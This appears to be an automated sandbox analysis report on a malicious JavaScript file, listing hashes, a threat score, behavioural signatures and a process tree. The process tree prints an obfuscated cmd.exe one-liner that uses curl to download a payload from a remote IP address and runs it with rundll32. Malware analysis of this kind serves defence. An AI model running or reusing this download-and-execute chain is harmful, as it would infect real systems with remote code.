Analysis

  • max time kernel
    137s
  • max time network
    149s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20231023-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20231023-enlocale:en-usos:windows10-2004-x64system
  • submitted
    31/10/2023, 10:55

General

  • Target

    Temporibusqc.js

  • Size

    110KB

  • MD5

    9b42851e37924ab339a49bf2e640e4b5

  • SHA1

    3735ec8dcc686ab6169ae59c7b60673b27a9ffaa

  • SHA256

    ea86f191012d90b033ac5969ec1484bdaaed82289ff9237f7e3d5fd6f06a36e0

  • SHA512

    5b07b25862f699d465624bddf307942c2a310d7f5d253012452215a113a25452b00dd0b7c618e67690e8c78eb6dbbd5dafe7ee64ee2ff52306699dd1a3b7f197

  • SSDEEP

    1536:7PwVP7Ofolzok2TSWnIvi+5UDlp1Us6jvb/3Q0:7EOn/nIa+WD6jvb/3j

Score
8/10

Malware Config

Signatures

  • Blocklisted process makes network request 3 IoCs
  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Modifies system certificate store 2 TTPs 6 IoCs
  • Runs ping.exe 1 TTPs 2 IoCs
  • Suspicious use of WriteProcessMemory 10 IoCs

Processes

  • C:\Windows\system32\wscript.exe
    wscript.exe C:\Users\Admin\AppData\Local\Temp\Temporibusqc.js
    1⤵
    • Blocklisted process makes network request
    • Checks computer location settings
    • Modifies system certificate store
    • Suspicious use of WriteProcessMemory
    PID:2920
    • C:\Windows\System32\cmd.exe
      "C:\Windows\System32\cmd.exe" /c Qp1 || echO Qp1 & piNG Qp1 || CurL http://128.140.77.217/qB20s/Phthi -o %tMp%\Qp1.sct & piNG -n 4 Qp1 || RuNDLl32 %tMp%\Qp1.sct, Crash & ExIT EArzcntBCQgnnfO
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:1580
      • C:\Windows\system32\PING.EXE
        piNG Qp1
        3⤵
        • Runs ping.exe
        PID:2468
      • C:\Windows\system32\curl.exe
        CurL http://128.140.77.217/qB20s/Phthi -o C:\Users\Admin\AppData\Local\Temp\Qp1.sct
        3⤵
          PID:2700
        • C:\Windows\system32\PING.EXE
          piNG -n 4 Qp1
          3⤵
          • Runs ping.exe
          PID:4556
        • C:\Windows\system32\rundll32.exe
          RuNDLl32 C:\Users\Admin\AppData\Local\Temp\Qp1.sct, Crash
          3⤵
            PID:4420

      Network

            MITRE ATT&CK Enterprise v15

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